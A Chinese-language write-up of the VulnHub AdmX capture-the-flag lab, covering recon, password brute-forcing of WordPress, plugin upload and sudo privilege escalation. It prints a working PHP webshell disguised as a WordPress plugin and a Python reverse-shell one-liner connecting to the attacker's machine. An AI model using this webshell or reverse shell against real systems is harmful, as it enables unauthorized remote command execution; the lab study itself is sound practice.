0x00前言
因为环境问题,此次靶场都放在vm上。都为NAT模式。
靶机地址: https://download.vulnhub.com/admx/AdmX_new.7z
需要找到两个flag文件。
0x01信息搜集
搜集IP
确认目标IP为172.16.8.131,进一步信息搜集
获取端口开放情况,版本信息等等。
发现目标有80 端口开启。可以去看看。
发现没有什么功能点,然后直接目录扫描。
发现关键词WP 去查看。发现新页面
点击标签发现会自动跳转,一个网址,通过查看数据包代码里已经把IP地址写死了。但是可以利用BP来将响应包的数据替换掉。
0x02响应包替换。
添加两条规则即可。
替换后,(在浏览器上使用插件要把本地的规则放开,让BP能抓住本地网络的数据包)
看了一圈没有什么可疑的地方,继续信息搜集。
发现admin路径,
经过测试发现。输入admin和输入其他是不一样的所以由此判断。用户名为admin.
直接爆破密码即可。adam14
0x03反弹shell
成功进入后台。
通过上网搜集资料发现 可以通过插件,主题,media等功能点上传木马来进行getshell.
在插件编辑功能点发现了php代码但是不能保存。
上传的文件必须是zip文件还得要符合规则
<?php
/**
* Plugin Name: Shell
* Plugin URI: https://x.github.io
* Description: WP Webshell for Pentest
* Version: 1.0
* Author: kalpa
* Author URI: https://x.github.io
* License: https://x.github.io
*/if(isset($_GET['cmd']))
{system($_GET['cmd']);
}
?>
把上面的文件写入php文件,打包成zip上传即可。
然后把插件激活即可。
http://172.16.8.131/wordpress/wp-content/plugins/shell.php?cmd=whoami
访问上面的命令即可命令执行。
然后尝试反弹shell.本次使用python反弹shell.
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.8.132",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
反弹成功。
0x04提权
信息搜集,尝试提权。
进入/etc/passwd 查看
发现一个wpadmin用户。去用户目录查看
发现需要wpadmin 有一个txt可能是flag文件。尝试以wpadmin登陆
在wp的配置文件中找到了。如下信息。
尝试连接数据库。 无果。
最后使用登陆 wordpress的密码成功登陆 wpadmin.
0x05二次提权。
尝试把权限提升到root.
sudo提权 使用之前获取到的数据库密码尝试提权。
进过测试发现可以直接使用系统命令。
0x06 拿到第二个flag
0x07总结
靶场用到的一些技术点:BP替换响应包,wordpress框架的测试,sudo提权。